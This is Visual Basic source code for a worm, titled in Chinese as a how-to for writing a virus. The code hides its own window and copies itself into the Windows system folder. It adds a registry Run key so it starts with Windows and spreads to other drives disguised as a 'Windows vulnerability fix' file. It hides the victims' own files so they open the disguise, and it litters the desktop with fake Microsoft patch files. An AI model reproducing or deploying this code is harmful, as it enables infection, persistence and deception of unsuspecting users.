VB编写病毒

Private n盘
Private n路径1$
Private n路径2$

Private Sub Command1_Click()
End
End Sub

Private Sub Form_Load()
App.TaskVisible = False
Randomize

If Dir("c:/windows/system/Hii", vbNormal) = "" Then
         
    ''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘
     If Dir("c:/windows/system/Hii.exe", vbNormal) = "" Then
          f = App.Path + "/" + App.EXEName + ".exe"
          d = "C:/WINDOWS/system/Hii.exe"
          FileCopy f, d
    End If
   ''''''''''''''''''''''''''''''''''''''''''''''''''''    
     
     '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Dim Reg
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
 
     
  ''''''''''''''''''''''''''''''''''''''''''判断盘符数量
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "C:/Windows漏洞修复.doc"
    Open "c:/windows/system/Hii" For Output As #1
       Write #1, 1
    Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "D:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #1
       
       Write #1, 2
    Close #1
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "E:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #1
       Write #1, 3
   Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "F:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #2
       Write #2, 4
    Close #2
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "G:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #3
       Write #3, 5
   Close #3
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "H:/Windows漏洞修复.doc"
  Open "c:/windows/system/Hii" For Output As #4
     
       Write #4, 6
  Close #4
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Else
   
     
    '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  
     Open "c:/windows/system/Hii" For Input As #2
      Input #2, n盘
         
     If n盘 = 1 Then n路径1$ = "E:/": n路径2$ = "F:/"
     If n盘 = 2 Then n路径1$ = "F:/": n路径2$ = "G:/"
     If n盘 = 3 Then n路径1$ = "G:/": n路径2$ = "H:/"
     If n盘 = 4 Then n路径1$ = "H:/": n路径2$ = "I:/"
     If n盘 = 5 Then n路径1$ = "I:/": n路径2$ = "J:/"
     If n盘 = 6 Then n路径1$ = "J:/": n路径2$ = "K:/"
     
          Text1.Text = Str(n盘) + "个  " + n路径1$ + n路径2$
     
     Timer传播.Enabled = True
     Timer发作.Enabled = True     
End If
End Sub

Private Sub Timer传播_Timer()

 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在
  If Dir(n路径2$, vbDirectory) <> "" Then
     
       myfile = Dir(n路径2$, vbNormal)
       Do While myfile <> ""
           If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden
           myfile = Dir
       Loop
          
     If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径2$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
        GoTo 100
     End If
  End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  
  
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在
  If Dir(n路径1$, vbDirectory) <> "" Then
       myfile = Dir(n路径1$, vbNormal)
       Do While myfile <> ""
           If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden
           myfile = Dir
       Loop    
     
If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then
      
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径1$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
     End If
  End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

100
End Sub

Private Sub Timer发作_Timer()
nName$ = Str(Fix(Rnd * 100))
If Dir("C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then
    Open "C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt" For Output As #3
    Write #3, "微软漏洞修复，请稍候..."
    Close #3
End If
End Sub